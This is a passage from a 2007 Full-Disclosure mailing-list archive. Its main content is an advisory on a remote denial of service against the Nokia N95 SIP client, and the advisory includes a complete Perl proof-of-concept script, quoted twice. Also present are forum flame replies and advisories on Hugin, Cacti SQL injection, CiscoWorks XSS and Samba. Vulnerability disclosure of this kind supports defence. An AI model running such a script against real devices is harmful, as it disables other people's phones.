> > X <---------------- 487 Request Terminated ---------------- Nokiav12 > > > > > > > > > > > > --------New Dialog-------- > > > > > > > > > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > > > > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > > > > > X <---------------------- 180 Trying ---------------------- Nokiav12 > > > > > > > > > > > > ---- The device does not work properly anymore ---- > > > > > > > > > > > > Impact: > > > > > > A remote entity can take down all the services of the cell phone > > > > > > > > > > > > Resolution: > > > > > > As we did not get any proper reply from Nokia about the subject, the > best > > > way will be to disable the SIP Client > > > > > > > > > > > > Credits: > > > > > > Humberto J. Abdelnur (Ph.D Student) > > > > > > Radu State (Ph.D) > > > > > > Olivier Festor (Ph.D) > > > > > > > > > > > > This vulnerability was identified by the Madynes research team at > INRIA > > > Lorraine, using KiF the Madynes VoIP fuzzer. > > > > > > http://madynes.loria.fr/ > > > > > > > > > > > > > > > > > > Proof of Concept: > > > > > > > > > > > > A perl script (nokiav12.pl) is attached to this mail. Before launching > > > > > > it, the SIP phone has to be initialed in the target device > > > > > > > > > > > > Command: > > > > > > perl nokiav12.pl > > > > > > > > > > > > Eg. perl nokiav12.pl 192.168.1.119 lupilu 192.168.1.2 tucu > > > > > > > > > > > > > > > > > > #!/usr/bin/perl > > > > > > > > > > > > ################################################## > > > > > > # Vulnerabily discovered using KiF ~ Kiph # > > > > > > # # > > > > > > # Authors: # > > > > > > # Humberto J. Abdelnur (Ph.D Student) # > > > > > > # Radu State (Ph.D) # > > > > > > # Olivier Festor (Ph.D) # > > > > > > # # > > > > > > # Madynes Team, LORIA - INRIA Lorraine # > > > > > > # http://madynes.loria.fr # > > > > > > ################################################## > > > > > > > > > > > > use IO::Socket::INET; > > > > > > use String::Random; > > > > > > > > > > > > die "Usage $0 " > > > > > > unless ($ARGV[3]); > > > > > > > > > > > > $targetUser = $ARGV[1]; > > > > > > $targetIP = $ARGV[0]; > > > > > > > > > > > > $attackerUser = $ARGV[3]; > > > > > > $attackerIP= $ARGV[2]; > > > > > > > > > > > > $socket=new IO::Socket::INET->new( > > > > > > Proto=>'udp', > > > > > > PeerPort=>5060, > > > > > > PeerAddr=>$targetIP, > > > > > > LocalPort=>5060); > > > > > > > > > > > > $foo = new String::Random; > > > > > > $callid= $foo->randpattern("CCccnCn"); > > > > > > $cseq = $foo->randregex('\d\d\d\d'); > > > > > > > > > > > > $sdp = "v=0\r > > > > > > o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r > > > > > > s=-\r > > > > > > c=IN IP4 $attackerIP\r > > > > > > t=0 0\r > > > > > > m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r > > > > > > a=sendrecv\r > > > > > > a=ptime:20\r > > > > > > a=maxptime:200\r > > > > > > a=fmtp:96 mode-change-neighbor=1\r > > > > > > a=fmtp:18 annexb=no\r > > > > > > a=fmtp:98 0-15\r > > > > > > a=rtpmap:96 AMR/8000/1\r > > > > > > a=rtpmap:0 PCMU/8000/1\r > > > > > > a=rtpmap:8 PCMA/8000/1\r > > > > > > a=rtpmap:97 iLBC/8000/1\r > > > > > > a=rtpmap:18 G729/8000/1\r > > > > > > a=rtpmap:98 telephone-event/8000/1\r > > > > > > a=rtpmap:13 CN/8000/1\r > > > > > > "; > > > > > > > > > > > > $sdplen= length $sdp; > > > > > > > > > > > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > > > > > From: ;tag=1\r > > > > > > To: \r > > > > > > Call-ID: $callid\@$attackerIP\r > > > > > > CSeq: $cseq INVITE\r > > > > > > Max-Forwards: 70\r > > > > > > Contact: \r > > > > > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > > > > > MESSAGE\r > > > > > > Content-Type: application/sdp\r > > > > > > Content-Length: $sdplen\r > > > > > > \r > > > > > > $sdp"; > > > > > > $socket->send($msg); > > > > > > $text = ''; > > > > > > while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){ > > > > > > $socket->recv($text,1024,0); > > > > > > } > > > > > > > > > > > > $msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r > > > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > > > > > From: ;tag=1\r > > > > > > To: ;tag=1\r > > > > > > Call-ID: $callid\@$attackerIP\r > > > > > > CSeq: $cseq CANCEL\r > > > > > > Max-Forwards: 70\r > > > > > > Content-Length: 0\r > > > > > > \r > > > > > > "; > > > > > > $socket->send($msg); > > > > > > time.sleep(1); > > > > > > $callid= $foo->randpattern("CCccnCn"); > > > > > > $cseq = $foo->randregex('\d\d\d\d'); > > > > > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r > > > > > > From: ;tag=2\r > > > > > > To: \r > > > > > > Call-ID: $callid\@$attackerIP\r > > > > > > CSeq: $cseq INVITE\r > > > > > > Contact: \r > > > > > > Max-Forwards: 70\r > > > > > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > > > > > MESSAGE\r > > > > > > Content-Type: application/sdp\r > > > > > > Content-Length: $sdplen\r > > > > > > \r > > > > > > $sdp"; > > > > > > $socket->send($msg); > > > > > > > > > > > > > > > > > > > > > > > > No virus found in this outgoing message. > > > Checked by AVG Free Edition. > > > Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date: > > > 04/12/2007 19:31 > > > > > > _______________________________________________ > > > Full-Disclosure - We believe in it. > > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/499ddce5/attachment.html From version5 at gmail.com Wed Dec 5 22:10:15 2007 From: version5 at gmail.com (nnp) Date: Wed, 5 Dec 2007 14:10:15 -0800 Subject: [Full-disclosure] Nokia N95 cellphone remote DoS using the SIP Stack In-Reply-To: <1196884633.47570299ee835@www.loria.fr> References: <003c01c83760$faac19b0$5e0c5198@Crocodile> <1196884633.47570299ee835@www.loria.fr> Message-ID: <28749c0e0712051410h70f7c1abv6743b65619771afd@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think you're missing his point. In fact I might be too but my take on it is this.... you'd think two PhD's and a PhD student might be able to do something a little more advanced than running a fuzzer and reporting DoS conditions. Do you guys even investigate the DoS to determine the root cause? If ye did then that might be OK and considered PhD level. I would think that a PhD level interpretation of this area might be for instance..... running a fuzzer against a hardware phone and then getting some form of code execution. Yes? No? Maybe? It looks to me like someone one of you guys built a VoIP fuzzer (is it even a VoIP fuzzer or just SIP?) and for the remainder of your doctoral studies you will be purchasing equipment and hitting the 'Fuzz' button. As I said, if you're gonna be submitting this kind of stuff to every list you can then at least investigate the root cause, maybe then it'll provide some slightly more interesting reading and perhaps benefit your thesis. nnp -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (Darwin) Comment: http://firegpg.tuxfamily.org iD8DBQFHV5DhbP10WPHfgnQRAtMNAJ43x7ZJDyVn0njZi2zTMQIQQoB6bgCeK8k7 addmL2c5Jm4LrlQvahnBrgY= =YX4u -----END PGP SIGNATURE----- On Dec 5, 2007 11:57 AM, wrote: > hi Reepex, > > I do not understand why are frustrated about a computer science degree. > Maybe, > someone got dropped out of a degree programm and some psychological trauma > gets > activated when seeing a Ph.D? > > If you like it or not, in order to get a computer science degree, you will > have > to take classes, and most classes are taught by Ph.Ds. > > I will not argue with you on why I use the Ph.D in my signature, but if > you > really want to know, look at our research papers published in academic > journals/conferences. (If you do not find them, I can send them to you). > If you will ever understand the contents, then you will understand what > are our > credentials..:) This will probably never happen. > > At least, I use a signature and a real name and do not hide behind a gmail > account. > > Meanwhile try yourself to find at least one vulnerability and enjoy Perl > programming, it seemes your computer science skills are somehow in this > area :) > > > Greetings > > > > > RS > > > Selon reepex : > > > So almighty Phd what is your thesis exactly? > > > > To me it seems to be 'how to run a fuzzer then write crappy perl > scripts > > to exploit DoS conditions' > > > > does this properly summarize your phd credentials? > > > > I guess you could tack on 'after writing the crappy scripts, flood > mailing > > lists with our crap, and get made fun of' > > > > I am sure you will serve the academic community great one day when teach > > "hacking" classes revolving around the latest editions of hacking > exposed > > > > > > > > On Dec 5, 2007 11:05 AM, Radu State wrote: > > > > > Nokia N95 cellphone remote DoS using the SIP Stack > > > > > > > > > > > > Severity: > > > > > > High ? Denial of Service > > > > > > > > > > > > Hardware: > > > > > > Nokia N95 > > > > > > > > > > > > Firmware: > > > > > > Tested version: Nokia RM-159 V 12.0.013 > > > > > > > > > > > > Notification: > > > > > > Vulnerability found: 11 September 2007 > > > > > > Contact Nokia Support: 12 September 2007 / None reply Contact Nokia > > > Security Support: 19 September 2007 / None reply > > > > > > > > > > > > Vulnerability Synopsis: > > > > > > If the device has the SIP Phone client activated, a sequence of SIP > > > messages turn the device in an inconsistent state where the user is > not > > able > > > to operate it anymore until it reboots. > > > > > > > > > > > > The sequence of messages consists in 2 different SIP Dialogs where the > > > first initiates an INVITE transaction but immediately closes it (in an > > > anticipated manner). While, the second transaction initiates a normal > > INVITE > > > transaction that trigger the vulnerability of the target. > > > > > > > > > > > > The sequence of messages is illustrated below. > > > > > > > > > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > > > > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > > > > > X ------------------------- CANCEL -----------------------> Nokiav12 > > > > > > X <----------------- OK (to the Cancel) ------------------- Nokiav12 > > > > > > X <---------------- 487 Request Terminated ---------------- Nokiav12 > > > > > > > > > > > > --------New Dialog-------- > > > > > > > > > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > > > > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > > > > > X <---------------------- 180 Trying ---------------------- Nokiav12 > > > > > > > > > > > > ---- The device does not work properly anymore ---- > > > > > > > > > > > > Impact: > > > > > > A remote entity can take down all the services of the cell phone > > > > > > > > > > > > Resolution: > > > > > > As we did not get any proper reply from Nokia about the subject, the > best > > > way will be to disable the SIP Client > > > > > > > > > > > > Credits: > > > > > > Humberto J. Abdelnur (Ph.D Student) > > > > > > Radu State (Ph.D) > > > > > > Olivier Festor (Ph.D) > > > > > > > > > > > > This vulnerability was identified by the Madynes research team at > INRIA > > > Lorraine, using KiF the Madynes VoIP fuzzer. > > > > > > http://madynes.loria.fr/ > > > > > > > > > > > > > > > > > > Proof of Concept: > > > > > > > > > > > > A perl script (nokiav12.pl) is attached to this mail. Before launching > > > > > > it, the SIP phone has to be initialed in the target device > > > > > > > > > > > > Command: > > > > > > perl nokiav12.pl > > > > > > > > > > > > Eg. perl nokiav12.pl 192.168.1.119 lupilu 192.168.1.2 tucu > > > > > > > > > > > > > > > > > > #!/usr/bin/perl > > > > > > > > > > > > ################################################## > > > > > > # Vulnerabily discovered using KiF ~ Kiph # > > > > > > # # > > > > > > # Authors: # > > > > > > # Humberto J. Abdelnur (Ph.D Student) # > > > > > > # Radu State (Ph.D) # > > > > > > # Olivier Festor (Ph.D) # > > > > > > # # > > > > > > # Madynes Team, LORIA - INRIA Lorraine # > > > > > > # http://madynes.loria.fr # > > > > > > ################################################## > > > > > > > > > > > > use IO::Socket::INET; > > > > > > use String::Random; > > > > > > > > > > > > die "Usage $0 " > > > > > > unless ($ARGV[3]); > > > > > > > > > > > > $targetUser = $ARGV[1]; > > > > > > $targetIP = $ARGV[0]; > > > > > > > > > > > > $attackerUser = $ARGV[3]; > > > > > > $attackerIP= $ARGV[2]; > > > > > > > > > > > > $socket=new IO::Socket::INET->new( > > > > > > Proto=>'udp', > > > > > > PeerPort=>5060, > > > > > > PeerAddr=>$targetIP, > > > > > > LocalPort=>5060); > > > > > > > > > > > > $foo = new String::Random; > > > > > > $callid= $foo->randpattern("CCccnCn"); > > > > > > $cseq = $foo->randregex('\d\d\d\d'); > > > > > > > > > > > > $sdp = "v=0\r > > > > > > o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r > > > > > > s=-\r > > > > > > c=IN IP4 $attackerIP\r > > > > > > t=0 0\r > > > > > > m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r > > > > > > a=sendrecv\r > > > > > > a=ptime:20\r > > > > > > a=maxptime:200\r > > > > > > a=fmtp:96 mode-change-neighbor=1\r > > > > > > a=fmtp:18 annexb=no\r > > > > > > a=fmtp:98 0-15\r > > > > > > a=rtpmap:96 AMR/8000/1\r > > > > > > a=rtpmap:0 PCMU/8000/1\r > > > > > > a=rtpmap:8 PCMA/8000/1\r > > > > > > a=rtpmap:97 iLBC/8000/1\r > > > > > > a=rtpmap:18 G729/8000/1\r > > > > > > a=rtpmap:98 telephone-event/8000/1\r > > > > > > a=rtpmap:13 CN/8000/1\r > > > > > > "; > > > > > > > > > > > > $sdplen= length $sdp; > > > > > > > > > > > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > > > > > From: ;tag=1\r > > > > > > To: \r > > > > > > Call-ID: $callid\@$attackerIP\r > > > > > > CSeq: $cseq INVITE\r > > > > > > Max-Forwards: 70\r > > > > > > Contact: \r > > > > > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > > > > > MESSAGE\r > > > > > > Content-Type: application/sdp\r > > > > > > Content-Length: $sdplen\r > > > > > > \r > > > > > > $sdp"; > > > > > > $socket->send($msg); > > > > > > $text = ''; > > > > > > while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){ > > > > > > $socket->recv($text,1024,0); > > > > > > } > > > > > > > > > > > > $msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r > > > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > > > > > From: ;tag=1\r > > > > > > To: ;tag=1\r > > > > > > Call-ID: $callid\@$attackerIP\r > > > > > > CSeq: $cseq CANCEL\r > > > > > > Max-Forwards: 70\r > > > > > > Content-Length: 0\r > > > > > > \r > > > > > > "; > > > > > > $socket->send($msg); > > > > > > time.sleep(1); > > > > > > $callid= $foo->randpattern("CCccnCn"); > > > > > > $cseq = $foo->randregex('\d\d\d\d'); > > > > > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r > > > > > > From: ;tag=2\r > > > > > > To: \r > > > > > > Call-ID: $callid\@$attackerIP\r > > > > > > CSeq: $cseq INVITE\r > > > > > > Contact: \r > > > > > > Max-Forwards: 70\r > > > > > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > > > > > MESSAGE\r > > > > > > Content-Type: application/sdp\r > > > > > > Content-Length: $sdplen\r > > > > > > \r > > > > > > $sdp"; > > > > > > $socket->send($msg); > > > > > > > > > > > > > > > > > > > > > > > > No virus found in this outgoing message. > > > Checked by AVG Free Edition. > > > Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date: > > > 04/12/2007 19:31 > > > > > > _______________________________________________ > > > Full-Disclosure - We believe in it. > > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- http://www.smashthestack.org http://www.unprotectedhex.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/2172e592/attachment.html From py at gentoo.org Wed Dec 5 22:22:22 2007 From: py at gentoo.org (Pierre-Yves Rofes) Date: Wed, 05 Dec 2007 23:22:22 +0100 Subject: [Full-disclosure] [ GLSA 200712-01 ] Hugin: Insecure temporary file creation Message-ID: <4757249E.1060407@gentoo.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200712-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Hugin: Insecure temporary file creation Date: December 05, 2007 Bugs: #195996 ID: 200712-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== A vulnerability has been discovered in Hugin, potentially allowing for a Denial of Service. Background ========== Hugin is a GUI for creating and processing panoramic images. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-gfx/hugin < 0.7_beta4-r1 *>= 0.6.1-r1 >= 0.7_beta4-r1 Description =========== Suse Linux reported that Hugin creates the "hugin_debug_optim_results.txt" temporary file in an insecure manner. Impact ====== A local attacker could exploit this vulnerability with a symlink attack, potentially overwriting an arbitrary file with the privileges of the user running the application. Workaround ========== There is no known workaround at this time. Resolution ========== All Hugin users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-gfx/hugin-0.6.1-r1" References ========== [ 1 ] CVE-2007-5200 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5200 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200712-01.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2007 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHVySeuhJ+ozIKI5gRApC1AJwINHhhWVulNCH81WAA82o0JHZAMACgkk3u AV+OcdKR3iV+0OyoEHgyAUs= =4jjs -----END PGP SIGNATURE----- From py at gentoo.org Wed Dec 5 22:42:41 2007 From: py at gentoo.org (Pierre-Yves Rofes) Date: Wed, 05 Dec 2007 23:42:41 +0100 Subject: [Full-disclosure] [ GLSA 200712-02 ] Cacti: SQL injection Message-ID: <47572961.6090803@gentoo.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200712-02:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Cacti: SQL injection Date: December 05, 2007 Updated: December 05, 2007 Bugs: #199509 ID: 200712-02:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== An SQL injection vulnerability has been discovered in Cacti. Background ========== Cacti is a complete web-based frontend to rrdtool. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-analyzer/cacti < 0.8.7a *>= 0.8.6j-r7 >= 0.8.7a Description =========== It has been reported that the "local_graph_id" variable used in the file graph.php is not properly sanitized before being processed in an SQL statement. Impact ====== A remote attacker could send a specially crafted request to the vulnerable host, possibly resulting in the execution of arbitrary SQL code. Workaround ========== There is no known workaround at this time. Resolution ========== All Cacti users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-analyzer/cacti-0.8.6j-r7" References ========== [ 1 ] CVE-2007-6035 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6035 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200712-02.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2007 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHVylguhJ+ozIKI5gRAnP7AJ49pQn5KjF96/1dEDG06qrysA40tQCffoPa 2ItH137QrWme8kLsvUHVDG8= =e0gS -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Wed Dec 5 22:44:37 2007 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 05 Dec 2007 17:44:37 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: Your message of "Sun, 02 Dec 2007 20:04:42 EST." References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> <20494.1196626985@turing-police.cc.vt.edu> <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> <23107.1196629450@turing-police.cc.vt.edu> Message-ID: <31582.1196894677@turing-police.cc.vt.edu> On Sun, 02 Dec 2007 20:04:42 EST, Dude VanWinkle said: > Anyone who was a security expert 30 yrs ago should be ridiculed. Their > job description was "I inspect all 5 & 1/4 disks that get mailed to > us" and should be a reason NOT to hire them :-P Anybody who doesn't know the history of security well enough to know what was going on 30 years ago deserves to be ridiculed. Here's a classic paper (the original Multics vulnerability analysis by Karger and Schell): http://www.acsac.org/2002/papers/classic-multics-orig.pdf Here's their 30-years-later retrospective: http://www.acsac.org/2002/papers/classic-multics.pdf Executive summary: We've learned somewhere between diddly and squat from 30 years of experience. Incidentally, Karger&Schell is the "unnamed Air Force document" that Ken Thompson references as the source for his Turing Award lecture: Thompson, K., "Reflections on Trusting Trust", Communications of the ACM, Vol. 27, No. 8, August 1984, http://www.acm.org/classics/sep95/ Ridicule these guys at your own peril. You can count me out, my personal timer is currently sitting at 29 years 10 months.. ;) Incidentally, 30 years ago, the 5.25" disk was still well in the future - even the 8" floppy was relatively new. -------------- next part -------------- A non-text attachment was scrubbed... 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The primary fear is that foreign-developed security software may come preprogrammed with backdoors and malicious code that would allow hackers to steal information or sabotage the system. Because it is cheaper to do so, the U.S. has outsourced much of its government software development, including Department of Security software, to foreign nations?primarily India, China and Russia. While the U.S. saves money in this arrangement, it is likely to pay in national security. http://www.thetrumpet.com/index.php?q=4524.2780.0.0 From Valdis.Kletnieks at vt.edu Wed Dec 5 23:02:50 2007 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 05 Dec 2007 18:02:50 -0500 Subject: [Full-disclosure] Professional IT Security Service Providers - Exposed In-Reply-To: Your message of "Tue, 04 Dec 2007 16:02:26 EST." <20071204210226.A0DFF22846@mailserver5.hushmail.com> References: <20071204210226.A0DFF22846@mailserver5.hushmail.com> Message-ID: <350.1196895770@turing-police.cc.vt.edu> On Tue, 04 Dec 2007 16:02:26 EST, secreview at hushmail.com said: > "Generally our reviews are done by reading the contents of the > companies website. We strip away all the marketing fluff and we > look for untruths, poor grammar, quality of service, team talent > and capabilities, site clarity, etc. If the website leaves us with > questions, or sounds too good to be true we call the security > company being reviewed and engage them in conversation about their > capabilities and offerings." > > You'll notice that the above is an exact quote and not some altered > version of what was said taken out of context by someone ("trains") > trying to sound smart. So you take *their* contents and strip marketing fluff, but you don't like it when somebody else does the same thing to your text? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/68dc0957/attachment.bin From disclosure at liquidmatrix.org Wed Dec 5 23:18:21 2007 From: disclosure at liquidmatrix.org (Liquidmatrix Security Digest) Date: Wed, 5 Dec 2007 15:18:21 -0800 (PST) Subject: [Full-disclosure] CiscoWorks Server XSS Vulnerability Message-ID: <55617.24.36.194.217.1196896701.squirrel@webmail.liquidmatrix.org> December 5th, 2007 ======= Summary ======= Name: Cross Site Scripting in CiscoWorks Release Date: 05 December 2007 Reference: LSD001-2007 Discover: Dave Lewis Vendor: Cisco Systems Affected: CiscoWorks version 2.6 (as tested) All prior builds are affected Risk: Medium Status: Published Reference: http://www.liquidmatrix.org/blog/2007/12/05/advisory-cross-site-scripting-in-ciscoworks/ ======== TimeLine ======== Discovered: 20 August 2007 Reported: 24 September 2007 Fixed: 5 November 2007 Patch Release: 5 December 2007 Published: 5 December 2007 =========== Description =========== The initial CiscoWorks login page is susceptible to XSS attack. Impact: attackers could execute XSS attacks that can harvest session cookies and usernames/passwords. ================= Technical Details ================= The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the request. Input is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session. =============== Fix Information =============== This issue has now been resolved. The patch may be obtained from: http://www.cisco.com Cisco Advisory http://www.cisco.com/warp/public/707/cisco-sr-20071205-cw.shtml =============================== Liquidmatrix Security Digest http://www.liquidmatrix.org/blog/ 2255B Queen Street East suite 156 Toronto, Ontario Canada M4E 1G3 From py at gentoo.org Wed Dec 5 23:22:55 2007 From: py at gentoo.org (Pierre-Yves Rofes) Date: Thu, 06 Dec 2007 00:22:55 +0100 Subject: [Full-disclosure] UPDATE: [ GLSA 200711-29 ] Samba: Execution of arbitrary code Message-ID: <475732CF.9000906@gentoo.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory [UPDATE] GLSA 200711-29:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Samba: Execution of arbitrary code Date: November 20, 2007 Updated: December 05, 2007 Bugs: #197519 ID: 200711-29:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Update ====== The original GLSA only resolved one of the two vulnerabilities due to a regression. New packages are available that resolve both buffer overflows. The updated sections appear below. Synopsis ======== Samba contains two buffer overflow vulnerabilities potentially resulting in the execution of arbitrary code. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-fs/samba < 3.0.27a